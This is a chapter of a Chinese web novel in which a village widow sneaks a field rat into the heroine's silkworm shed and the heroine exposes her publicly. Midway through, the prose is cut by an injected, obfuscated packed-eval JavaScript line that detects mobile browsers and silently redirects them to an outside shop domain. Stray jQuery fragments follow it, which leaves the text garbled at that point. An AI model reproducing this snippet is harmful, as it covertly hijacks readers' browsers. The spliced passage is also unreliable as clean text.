13. 李寡妇
    恼人的雨一停,地面就开始蒸腾热气,天空放了晴,连云影儿都没,太阳火辣辣炙烤着地面,田里的庄稼蔫头巴脑地歪着,一副半死不活的样。

    余晚桃去桑园里,探手进去摸了摸大水缸里囤的水,跟煮过似的,这老天爷也当真是一会一变脸,不给老百姓好日子过。

    她顶着冒烟儿的日头去把缸里的水换掉,再去抱了草垛来铺在上头挡着,眼见桑树叶子被晒得发软,却也没法子,只能盼着夜里吹些凉风,好让桑树缓过来。

    今日的桑叶还没开始摘,余晚桃自个回了一趟家去拿背篓,发现家里没人在,纳闷了一下便自己锁上院门出去了。

    经过水田坝子时,见李寡妇从一块青黄不接的稻田里钻出来,手里提溜着一只肥硕的活田鼠,也不知她这身板是怎么抓到的。

    田垄就这么大,两人狭路相逢,余晚桃往后退了些,侧身让出一半位置。

    李寡妇黄豆大小的眼睛闪着精光,刻薄面相与李氏如出一辙,捏着嗓抬高声音:“要我说啊,有些人真真就是白眼狼,一把屎一把尿的拉扯大了就来抢家产,活也不帮干,早知道这样,当初就该扔河里溺了,省得养大了来祸害自个。”

    余晚桃闻言乐了乐,摸着那块田里干瘪的稻穗叹声:“可不是嘛,要我说啊那些不孝顺的是该一出生就溺河里去,瞧瞧李阿奶家的稻田,哎哟可真一颗穗都没结,苗子还病殃殃的,也不见女儿来帮忙施施肥,打理一下。”

    “这铁牛叔去了后,家里没个顶门立户的汉子,以后的日子可怎么过哟。”

    “就是,老婶子啊,我看你有那闲工夫碎嘴子,不如好好打理一下田里庄稼,不然八月份官府来收税,你可就一斗谷子都拿不出来了。”,有好事的婶子坐在田垄那歇息,一边喝水一边说着风凉话。

    “余五家的遭烂妇要你多嘴,”,李寡妇朝那处吐了一沫子,憋着气撞开余晚桃,往村道上走,嘴里碎碎骂着些听不清的话,俨若手里捏的那只肥田鼠,吱吱叫唤个不停。

    插话那妇人见她走远了,扭头就同田里其他人叭叭李寡妇和李氏闹僵的事。

    余晚桃听了一耳朵。

    这李氏最近安静得不对劲,原来是自赌坊那件事后,李氏就和娘家闹翻了,再加上被打了十大板,整个人大病一场,养伤期间李寡妇还常上门去打秋风,不要脸皮的蹭吃蹭喝。

    李氏为此和亲娘大闹一场,最后在村里扬言要和娘家断绝来往。

    李家这会没了李氏接济,就靠小细柳种着一亩菜地过活,穷得都快揭不开锅了。

    余晚桃想着在村口最后一次见小细柳时的场景,摇摇头往桑园里去,路上遇到几个蚕农也到桑园摘桑叶,一行人聊着自家的蚕,到各自租的桑地摘叶。

    从桑园回去时已经将近中午了,余晚桃刚背着满筐的桑叶绕上村道,就碰见从山路那边出来的余天庆和崔玉棠。

    两人刚从山里出来,衣裳头发都是湿的,手里拎着大几簇菌子,粗略看着有鸡枞菌,红菇,白蘑菇,还有一些叫不上名的。

    崔玉棠远远瞧见了人,侧头让余天庆先回去,自己加快步伐跑过去,把手里满满当当的几簇菌子递给余晚桃,接过了她背上沉重的桑叶。

    “我说怎么不见人在家,原来和庆叔上前采菇去了。”,余晚桃有些意外,“看来你和庆叔处得来啊。”

    崔玉棠跟着她慢慢往家走:“庆叔人好,今儿下雨时说山里菌窝会冒出来,我闲来无事也跟着进山了,他见我力气大,还想教我打猎呢。”

    余晚桃点头:“多学些手段傍身是好的。”

    两人慢慢走回家,见身材高大的余天庆在路口那等着,他背着弓,手上也拎着几串鸡枞菇,扬声道:“桃子,刚才绕到屋后去放麻杆,见你家蚕舍的纱窗好像破了个窟窿,像是钻进了什么畜生,你快些进去瞧瞧吧。”

    “纱窗破了?”,余晚桃神色微变,忙加快步伐去开了院门,直奔蚕舍。

    谁料刚打开蚕舍的门,一只大田鼠就蹿了出来,余晚桃慌乱下踩了一脚过去,随着凄厉的“吱——”一声响,她几乎是本能地往后跑,唰地跳到崔玉棠身上。

    崔玉棠背上满筐桑叶还没卸下来呢,就被撞得往后退了一步,反应过来后单手抱住余晚桃的腰防止她掉下来,自己一蹦三跳去躲地上嚣张乱窜的田鼠,连着踢翻了好几个积酸菜的瓦罐。

    两人都靠不上,还是余天庆跑进来,精准地一脚踩住田鼠的尾巴,田鼠扭头过来啃他的布鞋,被他弯腰掐着脖子拎了起来。

    余晚桃见状松了一口气,却突然想到她的蚕,忙从崔玉棠身上跳下去,跑进蚕舍里,发现纱窗窟窿下面那张蚕座脚印凌乱,好些蚕遭了殃。

    怕田鼠带着病菌会染给蚕群,余晚桃只能忍痛把那一片蚕都铲了出去,再撒石灰消毒,至于纱窗窟窿只能用木板挡住,不过在比对窟窿大小时,却叫她发现了些端倪。

    再度从蚕舍里出来,余晚桃生气地踢了一脚门槛,同崔玉棠说:“纱窗的窟窿根本不是田鼠钻破的,那左右横十字口平整得紧,就是被镰刀割破的。”

    崔玉棠卸了竹筐,拿扫帚把院里踢翻的瓦罐清理掉,他有些心疼地看着散到地上的酸菜,问:“所以田鼠是有人故意放进蚕舍里的?”

    “这事可大可小,我去找村长!”,余天庆知道村里有些人就见不得别家好,可是往蚕舍里放田鼠这种行径太恶毒了。

    田鼠是吃蚕的,要一晚上没发现,那基本上整张蚕座的蚕都得遭殃,平时拌嘴小打小闹下算了,没凭得要做这种断人生计的缺德事。

    余晚桃看着那只可恨的田鼠,“我大概知道是谁,庆叔这事您先别声张,现在就算去找村长,没证据她也不会认。”

    “那这只田鼠怎么办?宰了?”

    “别!”,余晚桃忍着害怕去剪了一条红布绑到田鼠的后腿上,然后纠结地看着崔玉棠。

    “……”

    崔玉棠黑着脸拿麻布去包着田鼠,断了腿后紧紧掐住一刻都不敢放松。

    “庆叔,等会还要麻烦你做个见证。”

    “好说。”

    ……

    李寡妇坐在屋里喝米汤,桌上就一碟拌野菜,心里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561839|142744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    正懊悔着不该为了报复余家那小贱蹄子而搭进去嫩肥的一只田鼠,就听院墙外头吵嚷嚷的。

    她起身出去,一眼就瞧见自己逮的那只大田鼠,当即猛扑过去从那村民手里把田鼠抢过来,扯着嗓道:“这是我从田里逮的!”

    “抢什么,我刚就瞧见这田鼠在路边趴着没动,没准是被药倒的。”,村民好心劝:“我看你可别贪这便宜,趁早扔了吧。”

    “胡扯!这就是我从田里抓的,余老五家几个婆娘都亲眼看见了的。”,李寡妇惦记着田鼠肉,哪里想得明白其中弯弯绕绕,只一心证明着这田鼠就是她自己逮的那只。

    这个点正是忙完地里回家躲阴的村民,余五家几个儿媳妇也在其中,见到李寡妇手里还抓着那田鼠,捏着鼻子道:“李阿奶这是不舍得宰养起来不成,抓只田鼠还拿出来炫耀,不知道的还以为是甚么稀罕货呢。”

    李寡妇张嘴就骂回去,两条稀疏的眉毛皱作一团,余光瞥见小细柳缩在后面干看着,当即就过去把人扯到跟前来,揪着胳膊就掐:“你丧门星到家了也不回,还想跟哪个野汉子偷好去不成!”

    “我去山里挖野菜了,村里人都看着的,娘自己就是寡妇,何苦来败我这个新寡妇的名声。”,小细柳任她掐,灰蒙蒙的眼珠子盯着地面。

    李寡妇哪成想这人还敢顶嘴,抄起门口的扫帚就要打过去。

    “欸——就是这只田鼠!”余晚桃拎擀面杖追过来,瞪着李寡妇,大声道:“好啊,原来真是这只田鼠,李阿奶你也太恶毒了,就算我在田垄那顶了你两句惹你不痛快了,你也不该故意放老鼠来吃我家蚕。”

    余晚桃不等李寡妇狡辩,当即就给她把锅扣实了,指着田鼠腿上那截红布跟村民们说:“刚我一回来就发现蚕舍里遭了老鼠,吃了我不少蚕,这田鼠还是天庆叔帮忙抓住的,看那腿上的红布就是我绑的。”

    “你别张口就泼粪,你家蚕被老鼠吃了跟我有什么关系!”,李寡妇大声嚷道。

    “我蚕舍那纱窗就是被人用镰刀故意割坏的,还有我上午亲眼看见李阿奶在田里逮上来一只肥田鼠,但是没有证据我也没立刻上门说理,于是就把这田鼠断了腿扔路边,想着这么肥的田鼠肯定难逮,如果是被人故意扔进我蚕舍里的,那看见了肯定会重新拿回去宰来吃。”

    “而且刚才你也承认了这田鼠就是你的那只,那我想问为啥你逮的田鼠会出现在我的蚕舍里,别说是它自己过去的,你家后边就是水田,田鼠要跑也是直接进田里,而不会大老远往我的蚕舍里钻。”

    李寡妇心里慌,但还是嘴硬不认,挥着扫帚就要把人赶走,仗着自己年纪大没人敢上前推搡,嘴里骂得一句比一句脏的话。

    余晚桃猝不及防被打了两下,她扬声道:“李阿奶你这是倚老卖老,我要请村长评理!”

    “我不活了啊!就欺负我这个绝了户的老婆子,丧良心了啊这些小畜生!”,李寡妇听到要去请村长,立刻坐地上哭嚎,眼泪说掉就掉。

    一副老面皮皱巴巴挂着,头发花白,若叫不知情的人看了去,真就觉着她有多委屈了。